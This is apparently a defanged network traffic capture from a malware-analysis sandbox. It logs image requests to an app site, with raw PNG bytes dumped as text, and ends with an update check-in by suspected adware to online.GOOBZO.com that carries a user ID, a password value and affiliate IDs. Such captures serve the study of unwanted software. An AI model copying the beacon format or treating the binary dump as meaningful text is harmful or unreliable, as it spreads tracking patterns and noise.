.PNG........IHDR.............{.C.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9D2D46458C206811B0C8A4DF2123BC4C" xmpMM:DocumentID="xmp.did:77F1
49EBC46E11E2B747C631FF1479F9" xmpMM:InstanceID="xmp.iid:77F149EAC46E11
E2B747C631FF1479F9" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0280117407206811A8
98904B6C307B73" stRef:documentID="xmp.did:9D2D46458C206811B0C8A4DF2123
BC4C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>6..i..a.IDATx...k.d.u%v...>2.....H....^.
.....v.x"..v.?.o.'..?h.c ..c4.([email protected]..^k..U.A..%....b...2...
U....k..GO...{.!..A....|p..U..X5uh.......U}....Z.........~...qip....Uk
7;.w..pq..g.4..7...\p....X.?$1.8..u...3.z".$-......&.a.K..q,..(I.!.6.?
C.6=.IHs.t6....D.~.L...i.......... 7E.5........q.T.Y.... IHr-..X.A.1..
...|O.o.<.'[email protected].*b..z6 ....^R.?~x....8.........f.p.....Y.;....{
.._.......QF....=%.P.~ .R#.H4.\.p...$8..g.....U'.}..|...\a.....q......
e..l6..=.-.k.o...x%LT8...kd.....J.|...#....*.lA9...k,.....t.....|"<<< skipped >>>

GET /thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 174229

Last-Modified: Sun, 14 Jul 2013 15:20:23 GMT

Connection: keep-alive

ETag: "51e2c1b7-2a895"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V<<< skipped >>>

GET /thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3



[[.C|...p.`.......&......K3....TJ....Y..d........"OR9F...m..l.p.q...!.
.....I.H.S....".;u/.i>!.X...q!.V.5........2.....fa....p....Z...{.%.
.................V5..t._.......b6...*g..............S...2..Y.hA..kY...
.l`..lV..w?.7..>[email protected]%8gC..9......-.Gr0.9..CD.t:..5.M
 ......{.=...t.._x......<7R.|.8wn...~.....?..?..>l.e.;c;k.t..sq.
.....1`...`a........f..]w].V.]*c....4.1v...;......._.Q..yQ..k.....K/..
..^...&.&E.R.....5..<:.x..C.O..R...y.....c_w....K.#9.....#...\]..X.
e...$I.......d.X....42^e.:r.U...>?.r.s.9.......[..$..0./[7M. .ZD...
..J%....(..........(0.....]c....5......v......{...lo/..p..C....<...
....TU..,M..3.A..DI...NS. z.....k....w.M..n.Nl..}.T.eU%..K.K.[..p...w.
...O...|V..i..*u..N..[.........j.*.......-..".0.!'\.&.r.^.81....A.....
v.qy..L....|......../\..... g.X...2......h.....H..-.a$...c.....D.6..k.
.i.;sT.RVE..z?....L.|...s8...=.G..hn.c.....b!Ft.&._..Pgm\.....'..j:Eo.
6u..o\.[...'f..qY.u..w...na:..X........B...r.wkk .~9[.Z.e.......}N&.cD
...P..O..1<...p...1P....L..|r....A.1. ....1.YM ..RGkF.....fR.t....l
..|.B)8...........c.CK...!..p.!..../....~{...... x....|.Td..EU1......q
....^...-`.......<.*aY..7.....T..v....0.....Z....2cZi..o\K. ..}.U..
........p....X,.C..eZE...M.2 s.`..c.. D]...GJ..i.Z..2&..K^.....Q....d2
..O....B.........{......B.d....f..OS...kl......W ....6.e....v.....$.]k
.....o..~.].......z.\...^.l/..c...1...0....".....%C.I4m..;..2..i.....H
)..w...<...\8....5s .J..N 8..=4...r.......[......-).4mV~...L&....wr
.H.?.u.9...-.s...ytm..u..q6.w.......At..]8s...............9...B...<<< skipped >>>

GET /thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3



.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q..
_... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).
)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....D
w.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]..
....<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2........`
ZxZ,....eI..Z.Y...n.Z9Y.XUZ].F...%........N.N...g................m.}ag
b.g........}.}..=.......Z.~s.r.:V:.....?}..../gX....3....).i.S..Gg.g.s
.....K....>........Jt.q].z............6.i.....4.).Y3s...C.Q..?...0k
..~OCO.g..#/c/.W.....w..a..>.>r..>.<7.2.Y_.7.....O.o._..C.
#.d.z.....%.g...A.[...z|!..?:.e....A...A.A.......!h....!......i..P~...
.a.a..~.'...W.?.p.X..1.5w..Cs.D.D.D..g1O9.-J5*>..j<.7.4.?..fY..X
.XIlK.9.*.6nl...........{../.]py..........,:[email protected].*...%..w%..y...g
"/.6...C\*.N.H*Mz....5y$.3.,...'...L.L..:...v m2=:.1....qB.!M..g.g.fv.
.e....n../....k....Y-..B..TZ(.*..geWf....9... .......7.............KW-
.X...j9.<qy..... .V..<...*m.O..W..~.&zMk.^......k..U...}....]OX/
Y..a....>...........(.x...o..........d.f.f...-.[.......n......V....
E./..(....C...<..e....;?T.T.T.T6....a..n...{..4...[...>...U.UM.f
.e.I...?.......m].Nmq.......#........=TR.. .G.......w-.6.U....#pDy....
....:.v.{.....v.g./jB...F.S..[b[.O.>....z.G....4<YyJ.T.i.....g..
....}~...`...{.c..j.o...t..E...;.;.\..t.....W.W..:_m.t.<...O.......
\k..z..{f....7....y......9=...zo.......~r'.....w'[email protected]...?[....
..j.w....G..........C..........8>99.?r....C.d.&........./~.....<<< skipped >>>

GET /images/3.5stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 24802

Last-Modified: Thu, 13 Jun 2013 17:45:56 GMT

Connection: keep-alive

ETag: "51ba0554-60e2"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS6........tEXtCreation Time.5/7/10._
9... .IDATx...y|T..>.g...N&a....V.....%.Zm%`...,....[.K..i....n...[
.[..U.J.qA.....A.B"d.Yg..?&7s....23...y.^....I...~.....$.DDDd/...@DDD.
c. "".!..""".b. "".!..""".b. "".!..""".b. "".!..""".b. "".!..""".b. ""
.!..""".b. "".!..""".b. "".!..""".b. "".!g....p.b..?G/..........~..Z..
...I....%...4.M...N..>..T..x.|.._...........V.5..{?..90..BL...p.=. 
..P....0d...R..s.OMj.A..HR........."$....22%....XzG..'...........DDp
..t.....`.}..._.....s...9..y....2].....&....^t....k':Zw.g'..v0.wA.}"".
..<..`^.J...3T?......D....t....8dd..q....oA0.%...p`......#2....P.|K
Dd.....h.......ZP.3.>...3....t..,..-.u..V.:...:<.....@ [email protected].
XW.I_=......31x....>.pe|Q...'..C$.$...xKDd(..........L...w&.... .48
.....L|./..........@_.........5$j...r..jA.......\...$..[...4.mz.w_R..0
....`. ".`.07u..Vi?2...].w........7qp...............`>...G.%oU...rd
.~O.H......6.....Et.`U......<...G...(.y..@~.5...-f.......~.i...#x..
..=..b......v.......u.g.....{WW`.q..n......}_>...."<..... .A@...
....{RM.sR.\_~......q.'..f>..S.E.<.....7;.W...<.p.PW..a.....M
.}y.B._K.?.D.}_~.........x.2.g.o._..._..oR.`....u..."[email protected]...
N...Kt.B._K...H...8z....~N....6.y.o......u.PJ.............?....Y9.=.g.
.... ?...2]...<.Ph.B.]..K.l[........!.:Z..pzI~............}".b.0...
}....H.x.......=.?......(.~:B!G.....\/.t.A.G=aA....MZ'...K........}"[`
.. .V.L..x........z..........]=....._8.N.a.t.f..>[email protected]...{..<<< skipped >>>

GET /thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 24626

Last-Modified: Thu, 13 Jun 2013 17:46:11 GMT

Connection: keep-alive

ETag: "51ba0563-6032"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9247670438B3E211AC72D899932DBE6B" xmpMM:DocumentID="xmp.did:E7AB
8047C2A611E298A7FDC45846E498" xmpMM:InstanceID="xmp.iid:E7AB8046C2A611
E298A7FDC45846E498" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2A4978B7FB5E211AC72
D899932DBE6B" stRef:documentID="xmp.did:9247670438B3E211AC72D899932DBE
6B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>I.....\bIDATx.....U...O7.....i.h. [email protected].
.......L..$U.8F3&5Ve,M.L.L.8..N......\...7.(c.\@eW.F.n...i......}.\.^.
..........h..g{...V.9r..CEE...=..gU.....u.^...................?C..B...
8.P..F......o.xg.....K............X.V!.O.>.[.5.ze..l.....?Ro..o....
....D...c.. ."......r.../...o. .(-0y.XoB.yD.2$....;X2....b......o..|..
A"@..L t_. ..g.s.....K..&...s..Pz@. .8.".....Z.g./..h..6...cPJ@B`.....
.pV. ..v.4....~...Q4.n..<[email protected][email protected]..{. .z>8..gc..
....=>..].J......U.........>[email protected]@.8,.L....j.~...O.|K...<<< skipped >>>

GET /thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 33167

Last-Modified: Thu, 13 Jun 2013 17:46:19 GMT

Connection: keep-alive

ETag: "51ba056b-818f"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.6/28/10.
.]... .IDATx...y.\U....}...-{.CHX.A.d.0 .........A....J...,......D`. .
..(.QF. ..I..d1i $$.CHB*......]..?..S]...s.s.s..........y....9.=....b.
X,.ctt..}>W....X,...b.D......~.@,...b.x...X,...R....b.X,...&....b..
 6..X,........b.X,5.M.,...b.Al.`.X,.K.b....b.Xj...X,...R....b.X,...&..
..b.. 6..X,........b.X,5.M.,...b.Al.`.X,.K.b....b.Xj...X,...R....b.X,.
.$......_._...b.X,..0.........A....~......;.b.X,.Z''.#y?.....c.Q....?.
 ...~?..;.C}....>ugI..UC.G.z .I....T.qj..8.;T.........T:.$...U.pT..
3..._.F.HP....?. Ji|.....8'v....cE.....E.FNQ]_..kB.E}..|..t. .? ......
..5.....!.)......?.....[....-..........BUR..'w...R.E..........!.......
cdl.N>t..q.....,..1........_..C.$.9{p.;....b1.R....."....dE_.O..?PY
...;.Ax..qX.. ~sO..@.@<.....8<.):..9$.....9&0......iB.......~.1P
.P..q.....G..E.%...J.r.Q.t.......KBP.....t..l9.....p.....X.wc...C.cZ..
.W.IP1..........ywS...vez.^L.j..=..~e...}..t.DX......(..P>.1-......
.....b,....wW1...X7P..Eb...Yt..J..v.....dmT..W..A.9.1.......w.U......(
..$ ....n..M!...>...cbx..,.}....f..>`.....q..-..W.XV..`nA`YT....
o..N...S...]....p.A..Ai.....8Y..z.N}q.~.8.....[..5....!T......D.....b.
...}..(..N..t..R.E....S.........._....P>....Blr..h"....T.{UI.S_...)
...L.....(..... .S...C...SqW.....E.98.....a.....f.. P-..>..r.~...N.
Y........Z...$.px.H.nls..(...w.....{/..o....6G....X.W.....|Nh_..rH^U..
..H....G...Z.C[...#IPe.....G$.n....Al.....I.s.[[email protected]\.......!<<< skipped >>>

GET /thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:12 GMT

Content-Type: image/png

Content-Length: 370410

Last-Modified: Thu, 13 Jun 2013 17:01:03 GMT

Connection: keep-alive

ETag: "51b9facf-5a6ea"

Expires: Tue, 10 Feb 2015 04:30:12 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x..... cHRM..z%..............u0...`..:..
..o._.F....pHYs...........~.....IDATx^[email protected]
..n.....SR.......?...>3;.,....\.}[email protected]..).^H.:.c.
..`.Z.%..8.$.>.....U3.1k.....qa.>NbT...O.H...%.S..bT.....GJ..Fp.
.G.?.n....\.pX....D..........!\..h......h................}...W.{.l.[..
...a.#..f......w....>......~v..P.gj........>F.k}.......q........
......?..9...<..Y...Z......g.#......Y..1.q....y.....ot.N.Q..F.....G
....L.......L.......G ...h..6..T.|..e...O.........Y.....&..[{..q....c.
.....6_........9r........@." ".._.......~....._.~_.a_.."....D...Y.*...
...rF.YD... ."..^.i.[b...p...%x/..#}....K.F.........p"...>......4.m
>c.b... .|....U.w.......c....._.>.....Q...h.K5. >...{..<..
.~9...U{..Ww.(..........#.|D....H...jD.......T.:.Q...... ./...@.......
[\.K.......s.... .b9N.#....~/....$...B ..u......7bw..G.........u......
@x'..........T.......;Z.$..I.O..?....Y....................D$..........
?.....p".?..p.8....O.|.......x..o..M3............9..a....`.....t.#...T
TS.. .....P|..#..T.-.....tM..@d..?..P..I:../[email protected].}75.
..$~.Y.."...u.j{....'i.;...Z...L..u..!...D....'5....@x7.!q..p..>.(.
..O....]s...q....?..S.......;i....o.J.T.G.h].."."..>...S..U....".;O
x._......w......gK./........`..q...xt..?=.@$..-.....~...... ...:...D..
h*@..}.-B.....=......!y}NG....w.f..........._....}j.|.xo.oH....)0.X..D
...E.....W.....G.....).......{6..C.&h0W....../...4....LqU....u.aV.e...
u......5..v.8...j.<..-...2..)Ju.....^....C.^.7...WQ.s.<.?...<<< skipped >>>

GET /thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3

[..

GET /thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:12 GMT

Content-Type: image/png

Content-Length: 77988

Last-Modified: Sat, 15 Jun 2013 05:34:29 GMT

Connection: keep-alive

ETag: "51bbfce5-130a4"

Expires: Tue, 10 Feb 2015 04:30:12 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:12 GMT

Content-Type: image/png

Content-Length: 217582

Last-Modified: Thu, 13 Jun 2013 17:47:22 GMT

Connection: keep-alive

ETag: "51ba05aa-351ee"

Expires: Tue, 10 Feb 2015 04:30:12 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:69AE8E4CEDBDE011AA2CB4DAE993D699" xmpMM:DocumentID="xmp.did:F348
2575C45D11E0B960ACE436CC6F2E" xmpMM:InstanceID="xmp.iid:F3482574C45D11
E0B960ACE436CC6F2E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> 
<xmpMM:DerivedFrom stRef:instanceID="xmp.iid:45AF5BD856C4E011A303D3
538E659D93" stRef:documentID="xmp.did:69AE8E4CEDBDE011AA2CB4DAE993D699
"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> &l
t;?xpacket end="r"?>..3...N IDATx.....%Uu-~.....4.-.2..5 ...(*Fh.D.
(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N......[...
.{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=...x...o.v.Zs.m...............tm.W.==......I.
..{.......{...f.k<.M..a%.G...q..MUU.\..z.js........S..7...k........
...k......].........Lo......~8...7.....;....u{....u}..!.........[.....
o.-[.............1.{.......3.....{m1.E.czL.....~!.....c..5.9..{]..<<< skipped >>>

GET /thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3



[email protected].(..J.......t.c~...u..w..R) ..9..O..g.......}..H. .H......."q
.g....#.V....ws4`G....&k.#.8.<....k=.Dk..XT3....q......W.........'.
/.....J`~;..9.[.*.........7....m..Y.......=~.  ....Ox..pY..8.g.......b
v....X..s.<.}..|... .5........3...~.A................\.;..j...O..g.
.A.1....^.".?..Uq.5W..W......cAU..=7..c....o...b......Iu....pg...O....
sZ....<.WQ.-pY..i...>...k....*X.x3..G..../.m.<k...nW.O.w...58
..wZ......W....P....1.j.s..$.B..X..W..3..~..cp..[...J.[.....q.....;`..
.O...... .......s.c\..X(.=.g...1.Yca.E. /....,.d._..V....17.YcG...S...
...s_.ko~8N>..4>z|j$Fw~5.'ws...............l%S#k..D..12...o..d..
.....Y.Rto|...)|K..V.L7..c{....}#....:h....i. `..j^.YGc..<Eq.......
h....|....$.....x........ }....4.iaR^..q...~..S.T.. .w\.S-.b.H.z..x|.1
.O...M.P..%(. ........,.....GM.......G.}.....s.....k.....o.....B..`..P
.GHX..P......^..n.....K...Y..z3....2...........@-....)'(j.. .....{...J
..(.S..<i..).....%.0.H.....S......>..-...\ ....2....[....1..v...
,X...d........&V.........hm....D..p.....?..GP.?|.t.B...G.{(...l.?..~..
.'P.....m. (xA..>y...e..,..L.P......;..C..,..A....TF.}d......>.P
..C..qQ.~n...@@c#..<..K.cX.E....~...[n..o.<....F..........XQ3.L.
-....P7....#....k=.......n2.T.eXPg,|he\rS}..o~ ....0.R.W............6.
[email protected]...').<...
 .X..`..*OO;... .. .$..l....T.......T. .T.p....Pj^.........8.....w....
_].....>...t.L.UO.9.W....f..._...$..r...!.......5......kU.......v..
R...............m&A..T.... ....O=....d...%.O#....?..u).\.?..#.K..g<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423540767&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 03:59:26 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 100546
